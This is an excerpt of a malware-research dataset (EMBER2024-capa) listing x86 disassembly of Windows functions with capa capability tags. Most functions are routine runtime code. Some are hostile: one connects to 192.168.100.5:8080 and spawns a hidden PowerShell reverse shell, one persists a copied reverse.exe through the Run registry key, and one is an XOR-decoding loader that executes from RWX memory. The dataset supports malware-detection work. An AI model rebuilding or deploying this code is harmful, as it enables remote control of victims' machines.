joyce8/EMBER2024-capa huggingface dataset:
Function at 0x57cdc7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x40], 0
mov dword [ebp - 8], 0x4000
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
push 0
push 0
push 2
call fcn.0057df47
test eax, eax
je 0x57ce02
jmp 0x57cfa3
push dword [ebp - 8]
push 0x40
call dword [0x40904c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x57ce1b
jmp 0x57cfa3
mov dword [ebp - 0x3c], 0x74654e57
mov dword [ebp - 0x38], 0x6d756e45
mov dword [ebp - 0x34], 0x6f736552
mov dword [ebp - 0x30], 0x65637275
mov dword [ebp - 0x2c], 0x41
lea eax, [ebp - 0x3c]
push eax
push 0x409dc4
call dword [0x4090e4]
push eax
call dword [0x4090d4]
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
push 0
push dword [ebp - 0xc]
call fcn.0057df11
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 4]
call dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x57cf7a
and dword [ebp - 0x44], 0
jmp 0x57ce92
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x14]
jae 0x57cf78
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 1
je 0x57cf52
or dword [ebp - 0x154], 0xffffffff
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409dcc
lea eax, [ebp - 0x150]
push eax
call dword [fcn.004091fc]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x150]
push eax
call dword [fcn.004090a4]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
je 0x57cf52
push dword [ebp - 0x154]
call dword [fcn.004090f0]
lea eax, [ebp - 0x150]
push eax
call dword [0x4090fc]
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 0x14]
push 0x409a1c
lea eax, [ebp - 0x150]
push eax
call dword [fcn.004091fc]
add esp, 0xc
lea eax, [ebp - 0x150]
push eax
call fcn.0057b6c0
mov eax, dword [ebp - 0x44]
shl eax, 5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax + 0xc]
and eax, 2
je 0x57cf73
mov eax, dword [ebp - 0x44]
shl eax, 5
add eax, dword [ebp - 0xc]
push eax
call fcn.0057cdc7
jmp 0x57ce8b
jmp 0x57cf85
cmp dword [ebp - 0x40], 0x103
je 0x57cf85
jmp 0x57cf92
cmp dword [ebp - 0x40], 0x103
jne 0x57ce57
push dword [ebp - 0xc]
call dword [0x409050]
push dword [ebp - 4]
call fcn.0057df41
leave
ret 4
Function at 0x100113e1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100113f0
pop dword [ebp - 0x48]
mov eax, 0x100113f0
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xb142f556
add dword [ebp - 0x58], 0x9d0f4ff5
mov dword [ebp - 0x54], 0xf674779a
add dword [ebp - 0x54], 0x3bbed4ab
mov dword [ebp - 0x50], 0x383652ed
sub dword [ebp - 0x50], 0xebea0ebf
mov dword [ebp - 0x4c], 0xed3975d0
add dword [ebp - 0x4c], 0x12c68a30
lea eax, [ebp - 0x58]
push eax
mov eax, 0xf576e751
add eax, 0x1a8a4707
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xdcaba0cf
add dword [ebp - 0x58], 0x97c6c887
mov dword [ebp - 0x54], 0x94d0d5a6
sub dword [ebp - 0x54], 0x53647431
mov dword [ebp - 0x50], 0x7d685127
sub dword [ebp - 0x50], 0x19f8e4bb
mov dword [ebp - 0x4c], 0x4f2018
sub dword [ebp - 0x4c], 0x4f2018
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x397c6
push 0
call eax
mov ecx, 0x5b669725
add ecx, 0xa499bcc6
xor edi, edi
add edi, eax
mov edx, 0x164c2b05
add edx, 0xf9b54efb
add edx, dword [ebp - 0x48]
mov esi, 0x417b047
mov dword [ebp - 0xc], 0x52275e12
mov ebx, dword [edx]
xor dword [ebp - 0x28], edi
sub ebx, esi
xor dword [ebp - 0x1c], esi
mov dword [edi], ebx
sub dword [ebp - 0x38], 0xfe980f51
add edi, 0xa3c823f2
add edi, 0x5c37dc12
add edx, 4
loop 0x10011504
add eax, 0x4feb56f3
add eax, 0xb015eb8c
xor ebx, ebx
add ebx, eax
add eax, 0xa3e04e7
add eax, 0xf5c1fb1e
mov ecx, sym.clearkey.dll_Ordinal_0
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x408954
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop eax
call fcn.00408971
xor dword [edi], eax
inc edi
mov esi, esi
or ecx, esi
cmp edi, edx
jne fcn.00408954
add esi, 0x29564cc4
ret
Function at 0x403ba0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a8
lea eax, [ebp - 0x82c]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.dll_WSAStartup
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_WSASocketA
sub esp, 0x18
mov dword [ebp - 0xc], eax
mov word [ebp - 0x1c], 2
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sub.WS2_32.dll_htons
sub esp, 4
mov word [ebp - 0x1a], ax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.dll_inet_addr
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.WS2_32.dll_WSAConnect
sub esp, 0x1c
call sub.WS2_32.dll_WSAGetLastError
test eax, eax
sete al
test al, al
je 0x403d2e
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x870]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x870], 0x44
mov dword [ebp - 0x844], 0x100
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x830], eax
mov eax, dword [ebp - 0x830]
mov dword [ebp - 0x834], eax
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x838], eax
lea eax, [ebp - 0x2c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x870]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.powershell.exe__WindowStyle_Hidden
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp], str.Connection_failed
call sub.msvcrt.dll_puts
mov dword [esp], 0
call sub.msvcrt.dll_exit
nop
nop

Function at 0x403d48
Capabilities:
Contain obfuscated stackstrings
Execute command
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
call fcn.004019c0
mov dword [esp + 0x1e], 0x2e323931
mov dword [esp + 0x22], 0x2e383631
mov dword [esp + 0x26], 0x2e303031
mov word [esp + 0x2a], 0x35
mov dword [esp + 0x2c], 0x1f90
mov dword [esp], str.start_C:WINDOWSSystem32calc.exe
call sub.msvcrt.dll_system
mov dword [esp], str.cmd__c_copy_._reverse.exe__appdata_
call sub.msvcrt.dll_system
mov dword [esp], str.cmd__c_REG_ADD_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__V__Secure___t_REG_SZ__F__D___appdata__reverse.exe
call sub.msvcrt.dll_system
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], eax
lea eax, [esp + 0x1e]
mov dword [esp], eax
call fcn.00403ba0
mov eax, 0
leave
ret
Function at 0x6aac12d0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp], 0
call sym._OpenClipboard_4
sub esp, 4
test eax, eax
setne al
test al, al
je 0x6aac136b
call sym._EmptyClipboard_0
mov ecx, dword [ebp + 8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 2
call sym._GlobalAlloc_8
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x6aac1366
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GlobalLock_4
sub esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GlobalUnlock_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], 1
call sym._SetClipboardData_8
sub esp, 8
call sym._CloseClipboard_0
nop
leave
ret

Function at 0x6aac1512
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 1
seta al
leave
ret

Function at 0x6aac1535
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x50], 0x40
lea eax, [ebp - 0x50]
mov dword [esp], eax
call sym._GlobalMemoryStatusEx_4
sub esp, 4
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
shrd eax, edx, 0x14
shr edx, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x7ff
seta al
leave
ret

Function at 0x6aacafc0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6aba8050
call sym._EnterCriticalSection_4
mov ebx, dword [0x6aba8048]
sub esp, 4
test ebx, ebx
je 0x6aacb00b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6aacb004
test esi, esi
je 0x6aacb004
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6aacafe0
mov dword [esp], 0x6aba8050
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6aacb1f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ab667f0
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6aacb240
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6aacb318
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6aacb27e
cmp eax, 4
jne 0x6aacb2a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6aacb28e
cmp edx, 4
je 0x6aacb28e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6aacb1f0

Function at 0x6aacb820
Capabilities:
Allocate thread local storage

Disassembly:
push esi
push ebx
sub esp, 4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
call sym._TlsAlloc_0
cmp eax, 0xffffffff
je 0x6aacb850
mov dword [esi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
add esp, 4
pop ebx
pop esi
jmp sym.___mingwthr_key_dtor
add esp, 4
pop ebx
pop esi
jmp sym._GetLastError_0

Function at 0x6aacb890
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call sym._GetLastError_0
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sym._SetLastError_4
sub esp, 4
mov eax, ebx
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6aacb8c0
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
je 0x6aacb8e4
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp sym._GetLastError_0
Function at 0x6aadad70
Capabilities:
Read file on windows

Disassembly:
push esi
push ebx
mov ebx, ecx
sub esp, 0x14
mov eax, dword [ecx + 0x20]
mov esi, dword [esp + 0x20]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp], esi
mov dword [esp + 8], eax
call sym._fread
test eax, eax
jle 0x6aadadb0
movzx edx, byte [esi + eax - 1]
mov dword [ebx + 0x24], edx
add esp, 0x14
pop ebx
pop esi
ret 8
mov dword [ebx + 0x24], 0xffffffff
add esp, 0x14
pop ebx
pop esi
ret 8

Function at 0x6aadadc0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
mov eax, dword [ecx + 0x20]
mov dword [esp + 4], 1
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._fwrite
add esp, 0x1c
ret 8

Function at 0x6aadb940
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x6ab62abc], 0
jne 0x6aadba14
mov byte [0x6ab62abc], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x6aadbaae
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp + 0x1c], 0xffffffff
sete al
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call sym.___cxa_demangle
mov esi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov ebp, eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
lea edi, [esi + 0x40]
mov dword [esp + 0xc], edi
call sym._fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp + 4], edi
je 0x6aadba0a
mov dword [esp], ebx
call sym._fputs
lea eax, [esi + 0x40]
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x6ab63299
mov dword [esp + 0xc], eax
call sym._fwrite
cmp dword [esp + 0x1c], 0
je 0x6aadba41
call sym.___cxa_rethrow
mov dword [esp], ebp
call sym._fputs
jmp 0x6aadb9db
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
call sym._abort
mov dword [esp], ebp
call sym._free
jmp 0x6aadba05
call sym._abort
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
jmp 0x6aadbaa9
Function at 0x6aae14b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x54
lea ebx, [esp + 0x40]
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], ebx
lea ebx, [esp + 0x3c]
mov dword [esp + 0x3c], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], ebx
movzx ebx, byte [esp + 0x70]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x68]
mov dword [esp + 0x10], ebx
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIcEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb1EEPKNSt6locale5
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x6aae1530
mov ebx, dword [esp + 0x78]
mov dword [ebx], ecx
add esp, 0x54
pop ebx
pop esi
ret 0x20
fld xword [esp + 0x40]
mov ecx, dword [esp + 0x7c]
fstp xword [ecx]
add esp, 0x54
pop ebx
pop esi
ret 0x20

Function at 0x6aae1550
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
push ebx
sub esp, 0x54
lea ebx, [esp + 0x40]
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], ebx
lea ebx, [esp + 0x3c]
mov dword [esp + 0x3c], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 0x20], ebx
mov ebx, dword [esp + 0x74]
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], ebx
movzx ebx, byte [esp + 0x70]
mov dword [esp + 0x18], ebx
mov ebx, dword [esp + 0x68]
mov dword [esp + 0x10], ebx
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIcEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb0EEPKNSt6locale5
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x6aae15d0
mov ebx, dword [esp + 0x78]
mov dword [ebx], ecx
add esp, 0x54
pop ebx
pop esi
ret 0x20
fld xword [esp + 0x40]
mov ecx, dword [esp + 0x7c]
fstp xword [ecx]
add esp, 0x54
pop ebx
pop esi
ret 0x20
Function at 0x6aae1900
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
sub esp, 0x68
lea eax, [esp + 0x50]
mov ebx, dword [esp + 0x74]
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], edx
xor bx, bx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x1c], eax
movzx eax, byte [esp + 0x80]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 8], eax
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIwEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb1EEPKNSt6locale5
mov dword [esp + 0x3c], edx
movzx edx, word [esp + 0x3c]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x38], eax
or edx, ebx
test ecx, ecx
je 0x6aae1995
mov ebx, dword [esp + 0x88]
mov dword [ebx], ecx
add esp, 0x68
pop ebx
ret 0x20
fld xword [esp + 0x50]
mov ecx, dword [esp + 0x8c]
fstp xword [ecx]
add esp, 0x68
pop ebx
ret 0x20

Function at 0x6aae19b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
sub esp, 0x68
lea eax, [esp + 0x50]
mov ebx, dword [esp + 0x74]
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x28], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x24], eax
lea eax, [esp + 0x4c]
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], edx
xor bx, bx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x84]
mov dword [esp + 0x1c], eax
movzx eax, byte [esp + 0x80]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 8], eax
mov eax, dword [ecx + 8]
mov byte [esp], 0
mov dword [esp + 4], eax
call sym.__ZNSt13__facet_shims11__money_getIwEESt19istreambuf_iteratorIT_St11char_traitsIS2_EESt17integral_constantIbLb0EEPKNSt6locale5
mov dword [esp + 0x3c], edx
movzx edx, word [esp + 0x3c]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x38], eax
or edx, ebx
test ecx, ecx
je 0x6aae1a45
mov ebx, dword [esp + 0x88]
mov dword [ebx], ecx
add esp, 0x68
pop ebx
ret 0x20
fld xword [esp + 0x50]
mov ecx, dword [esp + 0x8c]
fstp xword [ecx]
add esp, 0x68
pop ebx
ret 0x20
Function at 0x6aae9dc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov edi, dword [esp + 0x80]
mov edx, dword [esp + 0x74]
mov ebx, dword [esp + 0x70]
mov dword [esp + 0x3c], ecx
mov esi, dword [esp + 0x78]
mov ebp, dword [esp + 0x7c]
lea eax, [edi + 0x6c]
mov dword [esp + 0x38], edx
mov dword [esp], eax
call method.std::ctype_char__const_std::use_facet_std.ctype_char____std::locale_const_
lea eax, [esp + 0x4c]
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x20], edi
mov dword [esp], ebx
mov dword [esp + 0x24], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x1c], 4
mov dword [esp + 0x18], 0x270f
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], ebp
mov dword [esp + 4], edx
mov dword [esp + 0x4c], 0
call sym.__ZNKSt7__cxx118time_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_numES4_S4_RiiijRSt8ios_baseRSt12_Ios_Iosta
sub esp, 0x28
mov ebx, eax
mov edi, edx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x4c]
test eax, eax
jne 0x6aae9ea2
mov eax, dword [esp + 0x48]
test eax, eax
lea ecx, [eax - 0x76c]
js 0x6aae9ef0
mov eax, dword [esp + 0x88]
mov dword [eax + 0x14], ecx
test ebx, ebx
je 0x6aae9f12
cmp edx, 0xffffffff
je 0x6aae9eb0
test esi, esi
mov edi, edx
je 0x6aae9e92
cmp ebp, 0xffffffff
je 0x6aae9ec0
mov eax, dword [esp + 0x84]
or dword [eax], 2
mov eax, dword [esp + 0x38]
add esp, 0x5c
mov edx, edi
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
mov eax, dword [esp + 0x84]
or dword [eax], 4
jmp 0x6aae9e70
mov eax, dword [ebx + 8]
cmp eax, dword [ebx + 0xc]
jae 0x6aae9f00
movzx edx, byte [eax]
jmp 0x6aae9e7d
xor ebx, ebx
mov eax, dword [esi + 8]
cmp eax, dword [esi + 0xc]
jae 0x6aae9f32
movzx eax, byte [eax]
cmp eax, 0xffffffff
sete al
cmp al, bl
je 0x6aae9e88
mov eax, dword [esp + 0x38]
add esp, 0x5c
mov edx, edi
pop ebx
pop esi
pop edi
pop ebp
ret 0x1c
lea ecx, [eax + 0x64]
jmp 0x6aae9e66
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x24]
cmp eax, 0xffffffff
mov edx, eax
jne 0x6aae9e7d
test esi, esi
mov dword [esp + 0x38], 0
je 0x6aae9e88
cmp ebp, 0xffffffff
mov ebx, 1
jne 0x6aae9e92
jmp 0x6aae9ec2
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x24]
jmp 0x6aae9ecd